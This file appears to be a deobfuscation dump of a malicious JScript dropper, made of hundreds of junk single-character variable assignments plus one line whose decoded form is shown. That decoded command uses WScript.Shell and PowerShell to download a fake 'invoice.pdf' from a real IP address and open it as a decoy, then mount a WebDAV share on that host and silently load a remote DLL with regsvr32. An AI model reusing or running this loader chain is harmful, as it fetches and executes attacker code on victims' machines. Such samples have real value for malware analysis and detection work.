13	this[sjsvc + fhziefgoz + lgncwbdub + urhhr + fbxsi + bfudrk + jhgmukiqa][xejpydj + urhhr + bhzauf + fwcied + jhgmukiqa + bhzauf + zvbqqbb + mkoswhkyr + yoeag + bhzauf + lgncwbdub + jhgmukiqa] ( sjsvc + fhziefgoz + lgncwbdub + urhhr + fbxsi + bfudrk + jhgmukiqa + ustba + fhziefgoz + zmofxft + bhzauf + hxiplajul + hxiplajul ) [urhhr + upebfchch + rkbgnpbd] ( lgncwbdub + misagf + ouuuf + drmmcwfnd + fnyted + lgncwbdub + drmmcwfnd + bfudrk + wfhuehx + clhfry + bhzauf + urhhr + rtjyuv + zmofxft + bhzauf + hxiplajul + hxiplajul + ustba + bhzauf + lzgwczg + bhzauf + drmmcwfnd + tydlue + xejpydj + wfhuehx + misagf + misagf + fwcied + rkbgnpbd + ouuuf + drmmcwfnd + loddx + fsuxl + rkbgnpbd + eijbeplgb + wfhuehx + jjylryl + bhzauf + tydlue + sjsvc + bhzauf + mkoswhkyr + xbmspvv + bhzauf + jfenpmbms + upebfchch + bhzauf + rtjyuv + jhgmukiqa + drmmcwfnd + tydlue + zvbqqbb + upebfchch + jhgmukiqa + gxqzwmbvr + fbxsi + hxiplajul + bhzauf + drmmcwfnd + fqyxrsw + jhgmukiqa + bhzauf + misagf + bfudrk + fqyxrsw + wrfzhd + fbxsi + rkbgnpbd + eijbeplgb + wfhuehx + fbxsi + lgncwbdub + bhzauf + ustba + bfudrk + ouuuf + zisyno + drmmcwfnd + zmofxft + jhgmukiqa + jhgmukiqa + bfudrk + xtxjxfcu + fnyted + fnyted + izojb + hnwxlub + vusreqq + ustba + izojb + lydljn + vusreqq + ustba + izojb + ustba + cblfdem + ejmqzhg + zbyzf + fnyted + fbxsi + rkbgnpbd + eijbeplgb + wfhuehx + fbxsi + lgncwbdub + bhzauf + ustba + bfudrk + zmofxft + bfudrk + loddx + tdawczi + tdawczi + rtjyuv + jhgmukiqa + fwcied + urhhr + jhgmukiqa + drmmcwfnd + fqyxrsw + jhgmukiqa + bhzauf + misagf + bfudrk + fqyxrsw + wrfzhd + fbxsi + rkbgnpbd + eijbeplgb + wfhuehx + fbxsi + lgncwbdub + bhzauf + ustba + bfudrk + ouuuf + zisyno + tdawczi + tdawczi + lgncwbdub + misagf + ouuuf + drmmcwfnd + fnyted + lgncwbdub + drmmcwfnd + rkbgnpbd + bhzauf + jhgmukiqa + drmmcwfnd + upebfchch + rtjyuv + bhzauf + drmmcwfnd + wrfzhd + wrfzhd + izojb + hnwxlub + vusreqq + ustba + izojb + lydljn + vusreqq + ustba + izojb + ustba + cblfdem + ejmqzhg + zbyzf + okupa + xwtrrrrp + xwtrrrrp + xwtrrrrp + xwtrrrrp + wrfzhd + ouuuf + fwcied + eijbeplgb + clhfry + clhfry + clhfry + urhhr + wfhuehx + wfhuehx + jhgmukiqa + wrfzhd + tdawczi + tdawczi + lgncwbdub + misagf + ouuuf + drmmcwfnd + fnyted + lgncwbdub + drmmcwfnd + urhhr + bhzauf + zxcmjv + rtjyuv + eijbeplgb + urhhr + vusreqq + cblfdem + drmmcwfnd + fnyted + rtjyuv + drmmcwfnd + wrfzhd + wrfzhd + izojb + hnwxlub + vusreqq + ustba + izojb + lydljn + vusreqq + ustba + izojb + ustba + cblfdem + ejmqzhg + zbyzf + okupa + xwtrrrrp + xwtrrrrp + xwtrrrrp + xwtrrrrp + wrfzhd + ouuuf + fwcied + eijbeplgb + clhfry + clhfry + clhfry + urhhr + wfhuehx + wfhuehx + jhgmukiqa + wrfzhd + lydljn + cblfdem + cblfdem + zldlhg + cblfdem + zldlhg + cblfdem + hnwxlub + lydljn + cblfdem + hnwxlub + cblfdem + hnwxlub + hnwxlub + ustba + ouuuf + hxiplajul + hxiplajul, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll",0,false) ➔ 0
14	}
15	ejmqzhg = "k";
16	ejmqzhg = "C";
17	ejmqzhg = "h";
18	ejmqzhg = "g";
19	ejmqzhg = "u";
20	ejmqzhg = "M";
21	ejmqzhg = "B";
22	ejmqzhg = "T";
23	ejmqzhg = "G";
24	ejmqzhg = "X";
25	ejmqzhg = "H";
26	ejmqzhg = "a";
27	ejmqzhg = "D";
28	ejmqzhg = "A";
29	ejmqzhg = "O";
30	ejmqzhg = "M";
31	ejmqzhg = "N";
32	ejmqzhg = "l";
33	ejmqzhg = "z";
34	ejmqzhg = "q";
35	ejmqzhg = "R";
36	ejmqzhg = "C";
37	ejmqzhg = "l";
38	ejmqzhg = "c";
39	ejmqzhg = "U";
40	ejmqzhg = "J";
41	ejmqzhg = "J";
42	ejmqzhg = "I";
43	ejmqzhg = "f";
44	ejmqzhg = "b";
45	ejmqzhg = "v";
46	ejmqzhg = "Z";
47	ejmqzhg = "R";
48	ejmqzhg = "0";
49	drmmcwfnd = "w";
50	drmmcwfnd = "P";
51	drmmcwfnd = "P";
52	drmmcwfnd = "r";
53	drmmcwfnd = "f";
54	drmmcwfnd = "n";
55	drmmcwfnd = "x";
56	drmmcwfnd = "A";
57	drmmcwfnd = "K";
58	drmmcwfnd = "D";
59	drmmcwfnd = "w";
60	drmmcwfnd = "m";
61	drmmcwfnd = "O";
62	drmmcwfnd = "j";
63	drmmcwfnd = "B";
64	drmmcwfnd = "n";
65	drmmcwfnd = "p";
66	drmmcwfnd = "h";
67	drmmcwfnd = "l";
68	drmmcwfnd = "M";
69	drmmcwfnd = "c";
70	drmmcwfnd = "g";
71	drmmcwfnd = "U";
72	drmmcwfnd = "s";
73	drmmcwfnd = "F";
74	drmmcwfnd = "Q";
75	drmmcwfnd = "s";
76	drmmcwfnd = "z";
77	drmmcwfnd = "j";
78	drmmcwfnd = "T";
79	drmmcwfnd = "O";
80	drmmcwfnd = "r";
81	drmmcwfnd = "E";
82	drmmcwfnd = "l";
83	drmmcwfnd = "F";
84	drmmcwfnd = "Q";
85	drmmcwfnd = "P";
86	drmmcwfnd = "M";
87	drmmcwfnd = "S";
88	drmmcwfnd = "p";
89	drmmcwfnd = "i";
90	drmmcwfnd = " ";
91	upebfchch = "z";
92	upebfchch = "O";
93	upebfchch = "c";
94	upebfchch = "v";
95	upebfchch = "v";
96	upebfchch = "M";
97	upebfchch = "m";
98	upebfchch = "u";
99	wfhuehx = "O";
100	wfhuehx = "O";
101	wfhuehx = "w";
102	wfhuehx = "W";
103	wfhuehx = "G";
104	wfhuehx = "E";
105	wfhuehx = "R";
106	wfhuehx = "v";
107	wfhuehx = "h";
108	wfhuehx = "f";
109	wfhuehx = "S";
110	wfhuehx = "X";
111	wfhuehx = "y";
112	wfhuehx = "e";
113	wfhuehx = "j";
114	wfhuehx = "k";
115	wfhuehx = "z";
116	wfhuehx = "i";
117	wfhuehx = "Z";
118	wfhuehx = "q";
119	wfhuehx = "l";
120	wfhuehx = "Q";
121	wfhuehx = "b";
122	wfhuehx = "o";
123	wfhuehx = "p";
124	wfhuehx = "l";
125	wfhuehx = "d";
126	wfhuehx = "l";
127	wfhuehx = "X";
128	wfhuehx = "p";
129	wfhuehx = "O";
130	wfhuehx = "S";
131	wfhuehx = "j";
132	wfhuehx = "m";
133	wfhuehx = "b";
134	wfhuehx = "Z";
135	wfhuehx = "f";
136	wfhuehx = "r";
137	wfhuehx = "o";
138	bfudrk = "m";
139	bfudrk = "g";
140	bfudrk = "S";
141	bfudrk = "R";
142	bfudrk = "k";
143	bfudrk = "t";
144	bfudrk = "F";
145	bfudrk = "m";
146	bfudrk = "g";
147	bfudrk = "R";
148	bfudrk = "z";
149	bfudrk = "u";
150	bfudrk = "A";
151	bfudrk = "I";
152	bfudrk = "P";
153	bfudrk = "p";
154	jhgmukiqa = "q";
155	jhgmukiqa = "O";
156	jhgmukiqa = "z";
157	jhgmukiqa = "H";
158	jhgmukiqa = "t";
159	eijbeplgb = "z";
160	eijbeplgb = "q";
161	eijbeplgb = "j";
162	eijbeplgb = "c";
163	eijbeplgb = "L";
164	eijbeplgb = "M";
165	eijbeplgb = "Y";
166	eijbeplgb = "R";
167	eijbeplgb = "o";
168	eijbeplgb = "a";
169	eijbeplgb = "i";
170	eijbeplgb = "E";
171	eijbeplgb = "L";
172	eijbeplgb = "E";
173	eijbeplgb = "t";
174	eijbeplgb = "f";
175	eijbeplgb = "v";
176	eijbeplgb = "W";
177	eijbeplgb = "l";
178	eijbeplgb = "e";
179	eijbeplgb = "W";
180	eijbeplgb = "E";
181	eijbeplgb = "O";
182	eijbeplgb = "S";
183	eijbeplgb = "v";
184	bhzauf = "H";
185	bhzauf = "R";
186	bhzauf = "i";
187	bhzauf = "F";
188	bhzauf = "x";
189	bhzauf = "N";
190	bhzauf = "v";
191	bhzauf = "t";
192	bhzauf = "q";
193	bhzauf = "t";
194	bhzauf = "E";
195	bhzauf = "i";
196	bhzauf = "f";
197	bhzauf = "D";
198	bhzauf = "M";
199	bhzauf = "N";
200	bhzauf = "r";
201	bhzauf = "d";
202	bhzauf = "I";
203	bhzauf = "e";
204	bhzauf = "W";
205	bhzauf = "E";
206	bhzauf = "z";
207	bhzauf = "n";
208	bhzauf = "r";
209	bhzauf = "I";
210	bhzauf = "o";
211	bhzauf = "s";
212	bhzauf = "U";
213	bhzauf = "U";
214	bhzauf = "h";
215	bhzauf = "s";
216	bhzauf = "G";
217	bhzauf = "t";
218	bhzauf = "Y";
219	bhzauf = "J";
220	bhzauf = "r";
221	bhzauf = "c";
222	bhzauf = "F";
223	bhzauf = "B";
224	bhzauf = "S";
225	bhzauf = "O";
226	bhzauf = "G";
227	bhzauf = "T";
228	bhzauf = "e";
229	zxcmjv = "p";
230	zxcmjv = "r";
231	zxcmjv = "A";
232	zxcmjv = "A";
233	zxcmjv = "V";
234	zxcmjv = "g";
235	zxcmjv = "U";
236	zxcmjv = "B";
237	zxcmjv = "f";
238	zxcmjv = "a";
239	zxcmjv = "h";
240	zxcmjv = "I";
241	zxcmjv = "r";
242	zxcmjv = "k";
243	zxcmjv = "t";
244	zxcmjv = "M";
245	zxcmjv = "p";
246	zxcmjv = "g";
247	lzgwczg = "d";
248	lzgwczg = "E";
249	lzgwczg = "X";
250	lzgwczg = "W";
251	lzgwczg = "O";
252	lzgwczg = "u";
253	lzgwczg = "v";
254	lzgwczg = "x";
255	lzgwczg = "J";
256	lzgwczg = "O";
257	lzgwczg = "l";
258	lzgwczg = "T";
259	lzgwczg = "o";
260	lzgwczg = "H";
261	lzgwczg = "N";
262	lzgwczg = "z";
263	lzgwczg = "B";
264	lzgwczg = "Q";
265	lzgwczg = "l";
266	lzgwczg = "B";
267	lzgwczg = "T";
268	lzgwczg = "X";
269	lzgwczg = "N";
270	lzgwczg = "j";
271	lzgwczg = "J";
272	lzgwczg = "s";
273	lzgwczg = "Y";
274	lzgwczg = "x";
275	ursvoxqy = "P";
276	ursvoxqy = "G";
277	ursvoxqy = "Y";
278	ursvoxqy = "x";
279	ursvoxqy = "G";
280	ursvoxqy = "c";
281	ursvoxqy = "S";
282	ursvoxqy = "e";
283	ursvoxqy = "s";
284	ursvoxqy = "M";
285	ursvoxqy = "N";
286	ursvoxqy = "A";
287	ursvoxqy = "A";
288	ursvoxqy = "y";
289	ursvoxqy = "o";
290	ursvoxqy = "e";
291	ursvoxqy = "U";
292	ursvoxqy = "s";
293	ursvoxqy = "R";
294	ursvoxqy = "h";
295	ursvoxqy = "g";
296	ursvoxqy = "z";
297	ursvoxqy = "j";
298	ursvoxqy = "Q";
299	ursvoxqy = "z";
300	ursvoxqy = "C";
301	ursvoxqy = "V";
302	ursvoxqy = "U";
303	ursvoxqy = "s";
304	ursvoxqy = "X";
305	ursvoxqy = "D";
306	ursvoxqy = "s";
307	ursvoxqy = "X";
308	ursvoxqy = "Q";
309	gxqzwmbvr = "l";
310	gxqzwmbvr = "O";
311	gxqzwmbvr = "L";
312	gxqzwmbvr = "H";
313	gxqzwmbvr = "V";
314	gxqzwmbvr = "a";
315	gxqzwmbvr = "L";
316	gxqzwmbvr = "t";
317	gxqzwmbvr = "Z";
318	gxqzwmbvr = "g";
319	gxqzwmbvr = "m";
320	gxqzwmbvr = "j";
321	gxqzwmbvr = "X";
322	gxqzwmbvr = "P";
323	gxqzwmbvr = "z";
324	gxqzwmbvr = "U";
325	gxqzwmbvr = "J";
326	gxqzwmbvr = "d";
327	gxqzwmbvr = "w";
328	gxqzwmbvr = "f";
329	gxqzwmbvr = "Q";
330	gxqzwmbvr = "c";
331	gxqzwmbvr = "K";
332	gxqzwmbvr = "V";
333	gxqzwmbvr = "D";
334	gxqzwmbvr = "S";
335	gxqzwmbvr = "N";
336	gxqzwmbvr = "w";
337	gxqzwmbvr = "m";
338	gxqzwmbvr = "z";
339	gxqzwmbvr = "Z";
340	gxqzwmbvr = "Y";
341	gxqzwmbvr = "S";
342	gxqzwmbvr = "F";
343	bsbdtqqwe = "a";
344	bsbdtqqwe = "W";
345	bsbdtqqwe = "P";
346	umqjz = "K";
347	umqjz = "c";
348	umqjz = "y";
349	umqjz = "f";
350	umqjz = "S";
351	umqjz = "X";
352	umqjz = "H";
353	aqhld = "D";
354	aqhld = "e";
355	aqhld = "i";
356	aqhld = "y";
357	aqhld = "v";
358	aqhld = "E";
359	aqhld = "A";
360	aqhld = "p";
361	aqhld = "F";
362	aqhld = "r";
363	aqhld = "b";
364	aqhld = "T";
365	tdawczi = "C";
366	tdawczi = "g";
367	tdawczi = "E";
368	tdawczi = "v";
369	tdawczi = "h";
370	tdawczi = "C";
371	tdawczi = "Q";
372	tdawczi = "s";
373	tdawczi = "&";
374	cblfdem = "f";
375	cblfdem = "c";
376	cblfdem = "Q";
377	cblfdem = "B";
378	cblfdem = "W";
379	cblfdem = "P";
380	cblfdem = "f";
381	cblfdem = "w";
382	cblfdem = "O";
383	cblfdem = "G";
384	cblfdem = "v";
385	cblfdem = "l";
386	cblfdem = "P";
387	cblfdem = "J";
388	cblfdem = "R";
389	cblfdem = "2";
390	zbyzf = "C";
391	zbyzf = "n";
392	zbyzf = "E";
393	zbyzf = "c";
394	zbyzf = "N";
395	zbyzf = "J";
396	zbyzf = "F";
397	zbyzf = "k";
398	zbyzf = "I";
399	zbyzf = "V";
400	zbyzf = "Y";
401	zbyzf = "T";
402	zbyzf = "j";
403	zbyzf = "o";
404	zbyzf = "k";
405	zbyzf = "G";
406	zbyzf = "u";
407	zbyzf = "L";
408	zbyzf = "m";
409	zbyzf = "a";
410	zbyzf = "u";
411	zbyzf = "Y";
412	zbyzf = "x";
413	zbyzf = "T";
414	zbyzf = "t";
415	zbyzf = "L";
416	zbyzf = "X";
417	zbyzf = "p";
418	zbyzf = "H";
419	zbyzf = "W";
420	zbyzf = "T";
421	zbyzf = "s";
422	zbyzf = "I";
423	zbyzf = "F";
424	zbyzf = "d";
425	zbyzf = "M";
426	zbyzf = "M";
427	zbyzf = "v";
428	zbyzf = "m";
429	zbyzf = "E";
430	zbyzf = "s";
431	zbyzf = "u";
432	zbyzf = "r";
433	zbyzf = "a";
434	zbyzf = "5";
435	zldlhg = "g";
436	zldlhg = "v";
437	zldlhg = "r";
438	zldlhg = "E";
439	zldlhg = "e";
440	zldlhg = "K";
441	zldlhg = "h";
442	zldlhg = "w";
443	zldlhg = "l";
444	zldlhg = "E";
445	zldlhg = "d";
446	zldlhg = "f";
447	zldlhg = "y";
448	zldlhg = "C";
449	zldlhg = "c";
450	zldlhg = "t";
451	zldlhg = "v";
452	zldlhg = "K";
453	zldlhg = "J";
454	zldlhg = "v";
455	zldlhg = "E";
456	zldlhg = "M";
457	zldlhg = "Y";
458	zldlhg = "z";
459	zldlhg = "p";
460	zldlhg = "Q";
461	zldlhg = "N";
462	zldlhg = "N";
463	zldlhg = "p";
464	zldlhg = "h";
465	zldlhg = "l";
466	zldlhg = "s";
467	zldlhg = "t";
468	zldlhg = "W";
469	zldlhg = "n";
470	zldlhg = "H";
471	zldlhg = "E";
472	zldlhg = "g";
473	zldlhg = "z";
474	zldlhg = "6";
475	fhziefgoz = "N";
476	fhziefgoz = "G";
477	fhziefgoz = "M";
478	fhziefgoz = "H";
479	fhziefgoz = "k";
480	fhziefgoz = "S";
481	rtjyuv = "R";
482	rtjyuv = "P";
483	rtjyuv = "u";
484	rtjyuv = "T";
485	rtjyuv = "C";
486	rtjyuv = "R";
487	rtjyuv = "K";
488	rtjyuv = "i";
489	rtjyuv = "k";
490	rtjyuv = "r";
491	rtjyuv = "J";
492	rtjyuv = "h";
493	rtjyuv = "I";
494	rtjyuv = "y";
495	rtjyuv = "P";
496	rtjyuv = "c";
497	rtjyuv = "H";
498	rtjyuv = "j";
499	rtjyuv = "J";
500	rtjyuv = "e";
501	rtjyuv = "k";
502	rtjyuv = "N";
503	rtjyuv = "y";
504	rtjyuv = "M";
505	rtjyuv = "Z";
506	rtjyuv = "N";
507	rtjyuv = "n";
508	rtjyuv = "R";
509	rtjyuv = "s";
510	todvqpmqf = "K";
511	todvqpmqf = "Y";
512	jfenpmbms = "M";
513	jfenpmbms = "w";
514	jfenpmbms = "r";
515	jfenpmbms = "s";
516	jfenpmbms = "f";
517	jfenpmbms = "g";
518	jfenpmbms = "S";
519	jfenpmbms = "i";
520	jfenpmbms = "F";
521	jfenpmbms = "A";
522	jfenpmbms = "d";
523	jfenpmbms = "M";
524	jfenpmbms = "t";
525	jfenpmbms = "s";
526	jfenpmbms = "F";
527	jfenpmbms = "j";
528	jfenpmbms = "l";
529	jfenpmbms = "P";
530	jfenpmbms = "W";
531	jfenpmbms = "q";
532	fwcied = "u";
533	fwcied = "M";
534	fwcied = "x";
535	fwcied = "a";
536	bgfpkm = "H";
537	bgfpkm = "w";
538	bgfpkm = "l";
539	bgfpkm = "d";
540	bgfpkm = "u";
541	bgfpkm = "K";
542	bgfpkm = "F";
543	bgfpkm = "I";
544	bgfpkm = "j";
545	bgfpkm = "Q";
546	bgfpkm = "y";
547	bgfpkm = "d";
548	bgfpkm = "g";
549	bgfpkm = "R";
550	bgfpkm = "M";
551	bgfpkm = "l";
552	bgfpkm = "p";
553	bgfpkm = "s";
554	bgfpkm = "v";
555	bgfpkm = "I";
556	bgfpkm = "T";
557	bgfpkm = "J";
558	bgfpkm = "t";
559	bgfpkm = "a";
560	bgfpkm = "h";
561	bgfpkm = "o";
562	bgfpkm = "X";
563	bgfpkm = "n";
564	bgfpkm = "r";
565	bgfpkm = "u";
566	bgfpkm = "v";
567	bgfpkm = "q";
568	bgfpkm = "X";
569	bgfpkm = "X";
570	bgfpkm = "S";
571	bgfpkm = "V";
572	bgfpkm = "s";
573	bgfpkm = "v";
574	bgfpkm = "b";
575	bgfpkm = "q";
576	bgfpkm = "h";
577	bgfpkm = "U";
578	zvbqqbb = "J";
579	zvbqqbb = "h";
580	zvbqqbb = "O";
581	hxiplajul = "c";
582	hxiplajul = "A";
583	hxiplajul = "h";
584	hxiplajul = "Y";
585	hxiplajul = "M";
586	hxiplajul = "n";
587	hxiplajul = "o";
588	hxiplajul = "R";
589	hxiplajul = "Q";
590	hxiplajul = "l";
591	wrfzhd = "T";
592	wrfzhd = "y";
593	wrfzhd = "M";
594	wrfzhd = "h";
595	wrfzhd = "b";
596	wrfzhd = "j";
597	wrfzhd = "r";
598	wrfzhd = "d";
599	wrfzhd = "c";
600	wrfzhd = "M";
601	wrfzhd = "y";
602	wrfzhd = "D";
603	wrfzhd = "S";
604	wrfzhd = "m";
605	wrfzhd = "v";
606	wrfzhd = "Y";
607	wrfzhd = "r";
608	wrfzhd = "n";
609	wrfzhd = "q";
610	wrfzhd = "T";
611	wrfzhd = "K";
612	wrfzhd = "u";
613	wrfzhd = "O";
614	wrfzhd = "P";
615	wrfzhd = "B";
616	wrfzhd = "i";
617	wrfzhd = "\\";
618	misagf = "S";
619	misagf = "r";
620	misagf = "Y";
621	misagf = "q";
622	misagf = "Q";
623	misagf = "b";
624	misagf = "t";
625	misagf = "J";
626	misagf = "R";
627	misagf = "Y";
628	misagf = "o";
629	misagf = "D";
630	misagf = "r";
631	misagf = "a";
632	misagf = "w";
633	misagf = "G";
634	misagf = "Z";
635	misagf = "t";
636	misagf = "n";
637	misagf = "B";
638	misagf = "A";
639	misagf = "O";
640	misagf = "y";
641	misagf = "v";
642	misagf = "W";
643	misagf = "D";
644	misagf = "u";
645	misagf = "y";
646	misagf = "D";
647	misagf = "D";
648	misagf = "L";
649	misagf = "J";
650	misagf = "f";
651	misagf = "C";
652	misagf = "m";
653	hnwxlub = "c";
654	hnwxlub = "j";
655	hnwxlub = "B";
656	hnwxlub = "D";
657	hnwxlub = "D";
658	hnwxlub = "F";
659	hnwxlub = "m";
660	hnwxlub = "X";
661	hnwxlub = "b";
662	hnwxlub = "y";
663	hnwxlub = "K";
664	hnwxlub = "a";
665	hnwxlub = "R";
666	hnwxlub = "o";
667	hnwxlub = "v";
668	hnwxlub = "G";
669	hnwxlub = "s";
670	hnwxlub = "a";
671	hnwxlub = "F";
672	hnwxlub = "9";
673	xbmspvv = "t";
674	xbmspvv = "H";
675	xbmspvv = "I";
676	xbmspvv = "M";
677	xbmspvv = "c";
678	xbmspvv = "e";
679	xbmspvv = "f";
680	xbmspvv = "o";
681	xbmspvv = "s";
682	xbmspvv = "v";
683	xbmspvv = "I";
684	xbmspvv = "S";
685	xbmspvv = "P";
686	xbmspvv = "Q";
687	xbmspvv = "I";
688	xbmspvv = "t";
689	xbmspvv = "p";
690	xbmspvv = "b";
691	xbmspvv = "J";
692	xbmspvv = "m";
693	xbmspvv = "W";
694	xbmspvv = "k";
695	xbmspvv = "x";
696	xbmspvv = "K";
697	xbmspvv = "j";
698	xbmspvv = "y";
699	xbmspvv = "l";
700	xbmspvv = "M";
701	xbmspvv = "x";
702	xbmspvv = "K";
703	xbmspvv = "p";
704	xbmspvv = "h";
705	xbmspvv = "R";
706	rkbgnpbd = "C";
707	rkbgnpbd = "O";
708	rkbgnpbd = "B";
709	rkbgnpbd = "S";
710	rkbgnpbd = "Q";
711	rkbgnpbd = "n";
712	okupa = "u";
713	okupa = "S";
714	okupa = "Q";
715	okupa = "F";
716	okupa = "Y";
717	okupa = "Y";
718	okupa = "T";
719	okupa = "K";
720	okupa = "w";
721	okupa = "k";
722	okupa = "p";
723	okupa = "M";
724	okupa = "b";
725	okupa = "b";
726	okupa = "J";
727	okupa = "A";
728	okupa = "m";
729	okupa = "u";
730	okupa = "x";
731	okupa = "v";
732	okupa = "Z";
733	okupa = "k";
734	okupa = "@";
735	zisyno = "y";
736	zisyno = "s";
737	zisyno = "b";
738	zisyno = "H";
739	zisyno = "m";
740	zisyno = "p";
741	zisyno = "N";
742	zisyno = "r";
743	zisyno = "Z";
744	zisyno = "K";
745	zisyno = "b";
746	zisyno = "A";
747	zisyno = "u";
748	zisyno = "e";
749	zisyno = "i";
750	zisyno = "v";
751	zisyno = "e";
752	zisyno = "g";
753	zisyno = "e";
754	zisyno = "f";
755	ouuuf = "c";
756	ouuuf = "D";
757	ouuuf = "V";
758	ouuuf = "h";
759	ouuuf = "O";
760	ouuuf = "u";
761	ouuuf = "m";
762	ouuuf = "r";
763	ouuuf = "s";
764	ouuuf = "M";
765	ouuuf = "i";
766	ouuuf = "g";
767	ouuuf = "a";
768	ouuuf = "A";
769	ouuuf = "z";
770	ouuuf = "G";
771	ouuuf = "o";
772	ouuuf = "V";
773	ouuuf = "y";
774	ouuuf = "g";
775	ouuuf = "W";
776	ouuuf = "X";
777	ouuuf = "f";
778	ouuuf = "s";
779	ouuuf = "O";
780	ouuuf = "r";
781	ouuuf = "d";
782	izojb = "U";
783	izojb = "g";
784	izojb = "u";
785	izojb = "d";
786	izojb = "Q";
787	izojb = "W";
788	izojb = "r";
789	izojb = "D";
790	izojb = "R";
791	izojb = "I";
792	izojb = "Q";
793	izojb = "o";
794	izojb = "g";
795	izojb = "v";
796	izojb = "B";
797	izojb = "v";
798	izojb = "J";
799	izojb = "c";
800	izojb = "I";
801	izojb = "S";
802	izojb = "A";
803	izojb = "m";
804	izojb = "x";
805	izojb = "x";
806	izojb = "T";
807	izojb = "O";
808	izojb = "i";
809	izojb = "b";
810	izojb = "O";
811	izojb = "i";
812	izojb = "t";
813	izojb = "j";
814	izojb = "1";
815	jednous = "I";
816	jednous = "y";
817	jednous = "a";
818	jednous = "p";
819	jednous = "u";
820	jednous = "k";
821	jednous = "U";
822	jednous = "c";
823	jednous = "Y";
824	jednous = "c";
825	jednous = "z";
826	jednous = "s";
827	jednous = "W";
828	jednous = "S";
829	jednous = "u";
830	jednous = "B";
831	jednous = "T";
832	jednous = "A";
833	jednous = "b";
834	jednous = "g";
835	jednous = "w";
836	jednous = "H";
837	jednous = "a";
838	jednous = "a";
839	jednous = "r";
840	jednous = "t";
841	jednous = "O";
842	jednous = "Y";
843	jednous = "W";
844	jednous = "o";
845	jednous = "K";
846	jednous = "S";
847	jednous = "E";
848	jednous = "P";
849	jednous = "d";
850	jednous = "s";
851	jednous = "J";
852	jednous = "y";
853	jednous = "o";
854	jednous = "L";
855	jednous = "J";
856	jednous = "L";
857	xtxjxfcu = "z";
858	xtxjxfcu = "C";
859	xtxjxfcu = "z";
860	xtxjxfcu = "S";
861	xtxjxfcu = "k";
862	xtxjxfcu = "W";
863	xtxjxfcu = "F";
864	xtxjxfcu = "o";
865	xtxjxfcu = "r";
866	xtxjxfcu = "L";
867	xtxjxfcu = "d";
868	xtxjxfcu = "Q";
869	xtxjxfcu = "o";
870	xtxjxfcu = "E";
871	xtxjxfcu = "V";
872	xtxjxfcu = "B";
873	xtxjxfcu = ":";
874	fbxsi = "C";
875	fbxsi = "Y";
876	fbxsi = "d";
877	fbxsi = "E";
878	fbxsi = "J";
879	fbxsi = "W";
880	fbxsi = "h";
881	fbxsi = "Q";
882	fbxsi = "x";
883	fbxsi = "S";
884	fbxsi = "J";
885	fbxsi = "I";
886	fbxsi = "i";
887	fbxsi = "I";
888	fbxsi = "V";
889	fbxsi = "K";
890	fbxsi = "y";
891	fbxsi = "h";
892	fbxsi = "n";
893	fbxsi = "D";
894	fbxsi = "b";
895	fbxsi = "n";
896	fbxsi = "y";
897	fbxsi = "o";
898	fbxsi = "m";
899	fbxsi = "W";
900	fbxsi = "S";
901	fbxsi = "a";
902	fbxsi = "i";
903	dvgvvqza = "D";
904	dvgvvqza = "z";
905	dvgvvqza = "J";
906	dvgvvqza = "E";
907	dvgvvqza = "k";
908	dvgvvqza = "V";
909	dvgvvqza = "i";
910	dvgvvqza = "H";
911	dvgvvqza = "L";
912	dvgvvqza = "P";
913	dvgvvqza = "s";
914	dvgvvqza = "H";
915	dvgvvqza = "G";
916	dvgvvqza = "A";
917	dvgvvqza = "q";
918	dvgvvqza = "c";
919	dvgvvqza = "g";
920	dvgvvqza = "b";
921	dvgvvqza = "a";
922	dvgvvqza = "X";
923	dvgvvqza = "_";
924	lydljn = "X";
925	lydljn = "M";
926	lydljn = "E";
927	lydljn = "d";
928	lydljn = "g";
929	lydljn = "A";
930	lydljn = "a";
931	lydljn = "L";
932	lydljn = "d";
933	lydljn = "V";
934	lydljn = "p";
935	lydljn = "o";
936	lydljn = "s";
937	lydljn = "N";
938	lydljn = "p";
939	lydljn = "N";
940	lydljn = "t";
941	lydljn = "4";
942	xejpydj = "c";
943	xejpydj = "q";
944	xejpydj = "Q";
945	xejpydj = "B";
946	xejpydj = "o";
947	xejpydj = "p";
948	xejpydj = "N";
949	xejpydj = "W";
950	xejpydj = "d";
951	xejpydj = "w";
952	xejpydj = "W";
953	xejpydj = "N";
954	xejpydj = "I";
955	xejpydj = "c";
956	xejpydj = "V";
957	xejpydj = "f";
958	xejpydj = "h";
959	xejpydj = "z";
960	xejpydj = "G";
961	xejpydj = "x";
962	xejpydj = "A";
963	xejpydj = "E";
964	xejpydj = "P";
965	xejpydj = "K";
966	xejpydj = "G";
967	xejpydj = "B";
968	xejpydj = "u";
969	xejpydj = "x";
970	xejpydj = "v";
971	xejpydj = "O";
972	xejpydj = "C";
973	lgncwbdub = "S";
974	lgncwbdub = "a";
975	lgncwbdub = "d";
976	lgncwbdub = "b";
977	lgncwbdub = "a";
978	lgncwbdub = "s";
979	lgncwbdub = "M";
980	lgncwbdub = "t";
981	lgncwbdub = "j";
982	lgncwbdub = "A";
983	lgncwbdub = "l";
984	lgncwbdub = "b";
985	lgncwbdub = "D";
986	lgncwbdub = "V";
987	lgncwbdub = "J";
988	lgncwbdub = "c";
989	vusreqq = "u";
990	vusreqq = "l";
991	vusreqq = "W";
992	vusreqq = "B";
993	vusreqq = "a";
994	vusreqq = "r";
995	vusreqq = "j";
996	vusreqq = "D";
997	vusreqq = "J";
998	vusreqq = "R";
999	vusreqq = "a";
1000	vusreqq = "q";
1001	vusreqq = "T";
1002	vusreqq = "j";
1003	vusreqq = "m";
1004	vusreqq = "K";
1005	vusreqq = "R";
1006	vusreqq = "L";
1007	vusreqq = "t";
1008	vusreqq = "3";
1009	urhhr = "k";
1010	urhhr = "y";
1011	urhhr = "T";
1012	urhhr = "j";
1013	urhhr = "T";
1014	urhhr = "N";
1015	urhhr = "B";
1016	urhhr = "E";
1017	urhhr = "v";
1018	urhhr = "v";
1019	urhhr = "P";
1020	urhhr = "Y";
1021	urhhr = "M";
1022	urhhr = "R";
1023	urhhr = "g";
1024	urhhr = "N";
1025	urhhr = "y";
1026	urhhr = "s";
1027	urhhr = "p";
1028	urhhr = "H";
1029	urhhr = "P";
1030	urhhr = "t";
1031	urhhr = "q";
1032	urhhr = "Q";
1033	urhhr = "b";
